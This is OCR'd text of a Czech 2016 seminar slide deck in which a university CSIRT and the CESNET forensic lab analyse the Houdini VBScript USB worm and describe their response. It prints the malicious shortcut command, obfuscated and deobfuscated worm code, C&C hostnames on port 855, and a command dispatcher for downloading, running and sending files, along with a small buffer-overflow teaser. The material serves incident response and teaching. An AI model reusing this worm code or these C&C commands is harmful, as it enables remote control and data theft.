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laborator

L% Uvodni slovo

e Ukazka spoluprace

e Univerzitni CSIRT & forenzni laborator

e Zapadoceska univerzita v Plzni
(WEBNet Incident Response Team)

e FLAB - Forenzni laborator CESNET

e Schéma
e CSIRT reSsi incident

e CSIRT potrebuje informace
e Forenznilaborator poskytne informace

e CSIRT zuzitkuje informace
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LGI?B aboratr

D&jstvi I: Stav na ZCU
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% Upozornéni na problém

lahorator

e Uzivatel kopiruje soubory mezi pocitaci

e Nezna progresivnhi metody prenosu dat

e Pouziva flashdisk a Pruzkumnika (Explorer)

e Pouzity postup

- Soubory PN

Problém se zastupcem @
r?” L PoloZka dol k:um nt.docx, na kterou odkazuje tento zastupce,
byla zménéna nebo presun Emkzezampc:EJ nebude
pracovat spra'u'né.

Cheete tohoto zastupce odstranit?
{ P E ) Ao [ e |
L
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laborator

L% Upozornéni na problém

e Eskalace k lokalnimu spravci IT

e Eskalace uZivatelské podpofe CIV ZCU (IT oddéleni)

Dobry den,

prosim Vas o pomoc. Objevil se mi tu
vir. Ze vSech adresaru a souboru udéla
na externich tulozistich zastupce.

Dekuji za pomoc.

e Eskalace bezpecnostnimu tymu
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L% Analyza provedena CSIRT

laborator

e Flashdisk
e Obsahuje i puvodni soubory (Atribut ,skryty soubor®)

e Obsahuje zastupce
« Stejnd jména i ikony jako puvodni soubory
 Otevre puvodni soubor + soubor ,Microsoft Excel. WsF“

e Obsahuje soubor ,Microsoft Excel.WsF*

e Hledani informaci

e http://www.en.usbfix.net/2014/03/remove-shortcut-
virus-usb/

e Malware: Dinihou — Houdini Worm.VBScript
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laborator

L% Reakce CSIRT

e Postup pro infikovaneé flashdisky

e ,Obnova“ uzivatelskych dat

e Zruseni atributu ,skryty soubor®

attrib -h -r -s /s /d *.*

e Smazani zastupcu

e Smazani souboru , Microsoft Excel WsF*“
e Napadené stanice

e Zaznam v registrech wscript.exe //B "C:\Users\..

e Nezndma ¢innost \Microsoft Office\

. Microsoft Excel.WsE"
malware = reinstalace
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L% Reakce CSIRT

laborator

e Preventivni opatreni
e Problematicka
e Stanice ve sprave IT oddéleni

e Pouzivany antivirovy program nezachyti

e Zavedeno blokovani souboru *.WsF
e Ostatni stanice

e \e spraveé ,uzivatel(”

e Studenti

e Velka migrace USB zarizeni
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laborator

L% Stale kvoka, stale kvoka, ...

e Vyskyt dalSich pripadu
e Uzivatelé stanice mimo spravu IT oddéleni
e Studenti a jejich flashdisky
e Opakované nakazy

e Potreba hlubsi analyzy

e Nedostatek vlastnich kapacit
e Hlavné nedostatek casu

e Zadani analyzy externimu subjektu
e CESNET FLAB
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i Zadéni pro FLAB

laborator

e Zadani

o Malware na flashdisku pro kazdy soubor vytvori zastupce a
puvodni soubor schova, takze uzivatel spousti (dvouklikem)
zastupce, ktery kromeé vlastniho souboru spusti jestée
VBScript, ktery zajistuje Sireni malware a asi i dalsi aktivitu.

e Otazky k zodpovézeni
1) Jakou funkcionalitou malware disponuje?
2) Lze pfitomnost malware poznat podle sitového chovani?

3) Jak nastavit pravidla pro antivirovy systém, aby blokoval
tento malware?
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laborator

L% Zadani pro FLAB

e Podklady pro analyzu
e Predany elektronicky dva soubory
e Pripona ,.norun®

e Zamezeni neumysinému spusténi

e Microsoft Excel .WsF.norun

e Malware nalezeny na napadeném flashdisku
e Evidencni Cislo 001
e IMG 2402.1nk.norun

e Jeden ze zastupcu vytvoreny malwarem na napadeném flashdisku

e Evidencni Cislo 002
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laborator

i Zadéni pro FLAB

e Vynatek ze zadani

Podklady predany zakaznikem.

Elektronicky podklad (Data) Evidencni ¢islo 001

Jméno souboru Microsoft Excel. WsF.norun a
Hashe souboru MD5: 5ac3bb5b66acS 3 |72c0d91efce0 b

SHA-1: 55d841b141£a01751d09¢ 27 1b1bfcdf27ec4

Cas zajisténi _(1’1p11é stejny malware fesen 1 v iijnu 20[)) C
Popis VBScript, ktery je Sifen a spoustén malwarem vytvorenym zastupcem. d
Zpusob ziskani Zkopirovani z nakazeného flashdisku e
Zpusob piedani Pied4no pies AFS@ZCU. f
Poznamky Souboru byla piidana piipona ,norun‘ k zamezeni neumyslnému spusténi. g

2016-06-08, Seminar ClIV, Plzen

13




LGI-?BE’JE!ET; Anal\l/za zastu pce (ev. C. 002)

e Polozka ,cil” zastupce:

C:\WINDOWS\system32\cmd.exe /c

clsé&clsé&cls&clsé&clsé&ceclsé&cls&clsé&clsé&cls&clséstart
IMG_2402.JPG&clS&cls&cls&cls&cls&cls&cls&cls&cls&

cls&cls&start Microsoft" "Excel .WsF&clsé&clsé&clsé
cls&cls&cls&clsé&clsé&cls&clsé&clséexit

e Po odstraneéni cls (clear screen):

start IMG 2402.JPG //plvodni soubor
start Microsoft" "Excel.WsF //malware

exit //zavrenil okna

o Zajistuje spusténi malware — kazdé otevreni souboru
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L% Analyza zastupce (ev. €. 002)

laborator

Cisty flashdisk Napadeny flashdisk

Zastupce

Microsoft" "Excel.WsF Malware

e Vyuziti vychoziho nastaveni

e ,Nezobrazovat skryté soubory“ = ano, zatajit existenci
e ,Skryvani pripon znamych typu“ = ano, zatajit informaci
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Jak to vidi

uzivatel

I.‘- Forenzni
laboratof
=0 R
()| | « %9 | [ Pronicdat
AW, » Houdiny |+¢ phledat j o)
Usporadat - Zahrnout do knihovny - Sdilets = Mova slozka B i ﬂ
i Mazev poloZky Datum zmény Typ Velikost
1M Pofitad
— o [# | dokument 3.5.2 42 Zas = B
ey Mistni disk (C:)
¥ Jednotka CD-ROI
5 tmp (Vwboxsnd ()
€ sit o[- ]
@\ [ v Pocitat » MULTBOOT (F) » houdiny v [ 44 |[ Pron o
Usporadat « Sdilets = Mova slozka = - 1 &
i Mazev polozky Daturn zmény Typ Velikost
1M Poéitac o
dokurnent.docx 21.3.2013 12:45 Dokument Office 2

&L, Mistni disk (C:)

% Jednotka CD-ROI
e tmp (wboxsnd) (2
= MULTIEOOT (F:)

[#| dokument ‘ 21.3.2013 12:45

m m

.Ink neni zobrazeno
(vyjimka kvuli ikonam na plose)

> dir /B

dokument. lnk
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> dir /AH /B

dokument.txt

> dir /A /B
dokument. lnk
dokument.txt
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L% Analyza malware (ev. ¢. 001)

laborator

e WsF = Windows Script File

e Kontejner
e Spusténi obsahu ve spravném interpretru
e Nativné
e Javascript
 Visual Basic

e Dalsi instalované

e Perl

e Python

2016-06-08, Seminar ClIV, Plzen
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A==  Analyza malware (ev. €. 001)

laborator

e Obsah souboru — obfuskovany VB Script

<package>

<job i1d="manage-bde">

<script language="VBScript">

Dim nTWAAKagMncGOLEYPcXDTgcWJA] :nTWAAKagMncGOLEYPcXDTgcWJA]J="kyz
NMWZrwn¥YxTfZmaVif" :I1f nTWAAKagMncGOLEYPcXDTgcWJAJ="kyzNMWZrwnYxT
fZmavVif"Then:End If:Dim LzcAEAXYFzttkGGoBj:LzcAEAXYFzttkGGoBj="v
uWeIryKEArjJHfVnrNb":If

TE:LB="} b2 b {1427\ {387 = =1 b =0 =2 42 0 - b
/\[ _|

A /=702 1=/720 1212 0= N = ==/ {2 >
fUNCTioN FRANCE (VIANA) :Dim Zxyjga’jpHRCEFtq

GRECE=FRANCE (204+20+9) TO (LONDON (BOSNA) /FRANCE (10*5) )
</script>

</job>

</package>
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S?r;;gp;tg; Anal\l/za malware (eV. C. 001)

e Deobfuskace — varianta , hruba sila“

e Rozebrat Cinnost funkci a ziskat kod

e To opravdu neni dobry napad ...

e Deobfuskace — varianta ,jemny intelekt”

e Sestaveni a spusténi kodu je realizovano funkci
ExeCuTeGloBal (ITALI (FRANCE (50-30+17),LB))

e Misto spusteni nechame vysledny koéd jen zobrazit
:$s/ExecuteGlobal /WScript.echo/

e Ulozeni vysledku

cscript echo script.WsF > unpackedl.Wst

2016-06-08, Seminar ClIV, Plzen
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A==  Analyza malware (ev. €. 001)

laborator

e Vysledek po deobfuskaci — dalsi (jina) obfuskace

<package>

<job i1d="manage-bde">

<script language="VBScript">

COLOMBIA=VINSULA (USA ("=oVeqgCcWe\m/x{ } GEOXXeXy+FgqeXZXmW*mSG#IWH { LbG
{LeGwmS0zzX0Ji/Vo}/SWEMWXOEG#QcZsCcWe\m/x {/NN\cVNzXVMgWGxFc/zK/X/Q
DOtX{fRXELNOEL1cWOzzX0J1/VPL{WygWGR}RLu}/SWEFMWXOEG/FyW-MXNxFc/zK/X
/AWGRmM1LuLDYR-SvzMXS ! XEXo/Tvxi}/

+cHr (CByte ("&H"&Mid (PANAMA, 3,2) ) ) +cHr (CByte ("&H"&Mid (PANAMA, 5,2))) :
PUREAU=PUREAU+Left (CANADA, KOUBA) :Next :UREGWAY=PUREAU:End Function:F
unction USA (HINDORAS) :Dim i1:For i1=1 To Len (HINDORAS) :USA=Mid (HINDOR
AS,1,1) &USA:next:End Function

</script>

</job>

</package>

e Stejny postup (nahrada GlobalExecute za Wscript.echo)
cscript echo unpackedl.WsEF > unpackedZ.Wst
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LCI? - Analyza malware (ev. ¢. 001)

laborator

e Vysledek po druhé deobfuskaci — uz zase (!)

<package>

<job i1d="manage-bde">

<script language="VBScript">
TUNISIA="!{]*!#/=1#*{{#\/= = 4#/#/ =] {-[{ 1 {{{-T{!
VEVEELANCERE SHRE IWVARE FVE VENEIRE LELEE VE VAR N VNN VAR N EEE VN

FOR ALGERIE=1 TO UboUnD (TUNISIA) :MAROCOO=MAROCOO+cHr (TUNISIA (ALGER
IE) / (25+25-32) ) :NEXT :ExecuteGlobal (MAROCOO)

</script>

</job>

</package>

e Stejny postup (nahrada GlobalExecute za Wscript.echo)

cscript echo unpacked2.WsF > unpacked3.Wsf
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A==  Analyza malware (ev. €. 001)

laborator

e Vysledek po treti deobfuskaci — konecné cCitelny kod

On eRrOr ReSuMe NeXt

dIm Az

sET Az WsCriPt.CreAtEoBjJECT ("wscript.shell")

dIm Aw

sET Aw CreAtEoBJEcCT ("scripting.filesystemobject")
dIm Av

sET Av CreAtEoBJEcCT ("msxml2.xmlhttp")

Ay = ArRaY ("maroco.linkpc.net:855",
"maroco.myg-see.com: 855", "maroco.redirectme.net:855")
Ax = Az .ExPaNdEnViRoNmEnTsTrInGs (" "y &"
Aw.CreateFolder Ax

Au = TRue
At = True

Ar 1A
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laborator

L% Analyza malware (ev. ¢. 001)

e Analyza kddu malware
e Iterativni Cinnost
e Seznam promennych s poznamkami

e Seznam funkci s poznamkami

e Odstranovani,eMoSTyLu z NaZVuprOMeNnych“
e Skript
e Pomeérneée kratky — necelych 500 radek

= kompletni analyza funkcnosti

e Vyhledani odpovédi na otazky

2016-06-08, Seminar ClIV, Plzen
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LCI? - Analyza malware (ev. ¢. 001)

laborator

1) Jakou funkcionalitou malware disponuje?

e Persistence

e Spusténi pres zastupce na médiu
 |Instalace na stanici
e RozSireni na ,removable” média

e Po instalaci na stanici (registrovy klic)

e PrUbéiné rozsirovani na ,removable” média
e Komunikace s C&C fOr EACH Drive In Aw.Drives

<7V s If Drive.Drivetype = 1 then
¢ Slrenl '* type 1 = Removable

e Pres ,removable” média — nutna soucinnost uzivatele

2016-06-08, Seminar ClV, Plzen 24



laborator

S;a; Analyza malware (ev. ¢. 001)

e Zahajeni komunikace s C&C
e Vintervalu 5000ms (5s)
e Rozpoznavané pokyny z C&C serveru

o Aktualizace skriptu (tj. mozna zména funkcionality)
e Zmeéna intervalu komunikace s C&C
e Stahnout soubor z C&C a spustit je;
e Odeslat soubor ze systému na C&C
e Odinstalovani ze systému (tj. mazani stop po utoku)

e Spusteni lokalni prfikazu jako parametr cmd.exe
(v analyzované verzi nefunkcni, vyvojova chyba)
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A==  Analyza malware (ev. €. 001)

laborator

e Ukazka casti kodu — schopnosti malware

SeLeCt case Ao (0)
case "excecute"
An = Ao (1)
Bd An '* ?27?°?
"update" '* nahrazeni obsahu lokalniho skriptu parametrem
An = Ao (1)
Al.ClOse
sET Al = Aw.OpEnTeXtFile (Ax & Ar ,2, FalLsE)
Al .WriTe An
Al.ClOse
Az .RuN "WScript.exe //B " & cHr((17+17)) & Ax & Ar & cHr ((17+17))
WScript.Qult
"uninstall"
Bi '* call Bi: uninstall
mw send"
Bn Ao (1),Ao (2) '*call Bn (param2 filename, param3 path)
"site-send"
Bh Ao (1),Ao0 (2) '*call Bh (param2 getparam, param3 filename)
"recv"'
An = Ao (1)
Be (An) '*call Be (param?2): odeslani zadaneho souboru na CaC
"Sleep" '* nastaveni noveho intervalu cekani v cyklu
An = Ao (1)
Sleep = EVal (An)
eND SeleCt
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L% Analyza malware (ev. ¢. 001)

laborator

2) Lze pritomnost malware poznat podle sitového
chovani?

e Ano, kazdych 5s komunikuje s C&C
e Port 855, C&C udano jako hostname

e maroco.linkpc.net:855

e Maroco.myg-see.com:855

e maroco.redirectme.net:855
e Zjisténi IP adres v historii?

e Passive DNS

2016-06-08, Seminar ClIV, Plzen
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S? - Analyza malware (ev. ¢. 001)

laborator

3) Jak nastavit pravidla pro antivirovy systém, aby
blokoval tento malware?

e Konzultovano s WEBnet Incident Response Team
e FLAB nema prislusny SW
e Zabezpeleni koncovych stanic ZCU

e Dodavatel XxXxxx
e WSsF je v kategorii ,,Script” - nelze globalné zakazat

e Jedind moznost — rucni pravidlo , blokovani *.WsF*
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Dejstvi lll: Vyuziti informaci
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laborator

L% Nalezeni napadenych zarizeni

e Sitova komunikace

e Port 855, IP adresy odpovidajici danym hostname

e |dentifikace stanic, uzivatelu
e Vytézeni uzivatell stanic

o Jaké flashdisky pouzivate?

e Kam jste své flashdisky pripojoval?

e Kdo pripojoval své flashdisky k Vasemu zarizeni?
e Identifikace dalSich uzivatelu

e Mimo ZCU (napt. kopirovaci centrum)

2016-06-08, Seminar ClIV, Plzen
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L% Reakce a prevence

laborator

e Pripraveny ,napravné” skripty
e Vychazi z deobfuskovaného kédu (reverzni postup)

e uninstall.vbs — odstranéni malware ze systému

e clean.vbs — odstranéni nakazy z ,,removable” médii
e Pro aktualné pripojené — mozno snadno vycistit
e Instrukce pro IT HelpDesk
e Pripravena webova stranka pro uzivatele
e Postup + skripty ke stazeni

e Uprava pravidel AV systému

2016-06-08, Seminar ClIV, Plzen
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% Univerzitni siti to nekonci

laborator

GG glE houdiny odstranéni E

All Images Videos Shopping MNews More Search tools

About 1,660 results (0.70 seconds)

Showing results for houdini odstranéni
Search instead for houdiny odstranéni

Malware "Houdini" a jeho odstranéni — Support@

support zcu.cz/ /Malware_%22Houdini%22_a jeho . v Translate this page @
Oct 16, 2015 - Houdini je malware (virus) v podobé wsf (Visual Basic) skrptu s nazvem

Microsoft Excel WsF, ktery se &ifi pomoci flashdishkd a jinych .

Jak odstranit Trojan VBS Houdini F 20150402 - pcrisk.net®

www.pcrisk net/./Jak-odstranit-Trojan-VBS-Houdini-.. v Translate this page @
Apr 2, 2015 - This €lanku zahmuje krok za krokem privodce o tom, jak odstranit Trojan

VBS:Houdini F a souvisejici Trojan virus.Follow voditka k odstranéni ...
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L% Univerzitni siti to nekonci

laborator

Dobry den.

Mel bych na Vas velkou prosbu.
Nejsem vsak student vasi skoly.
Nasel jsem odkaz: http://support.zcu.cz/..

ManzZelka "pritahla" ze sSkoly tento trojan
a praskla to do notebooku a PC v praci.
Mohl bych Vas pozadat o zpristupnéeni,

¢1 odkaz na stazenli tohoto skriptu.

Moc dekuji.
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Dotazy a diskuse

aaaaaaaaa

1996-2016

CESNET



, 9ECESNET
LAB Goraor ‘ii“"'""

cat << _EOF__ > game.c

#Hdefine MSG "Zahraj si ..\n\t... nauc se ...\n\t\t... pridej se!"
int a() {char s[8]; strcpy(s, MSG); return(0); }

int main(int argc, char **argv){a();exit(0);}

_EOF_ E'-l E
gcc game.c && ./a.out :
Segmentation fault [w]47

https://flab.cesnet.cz/game
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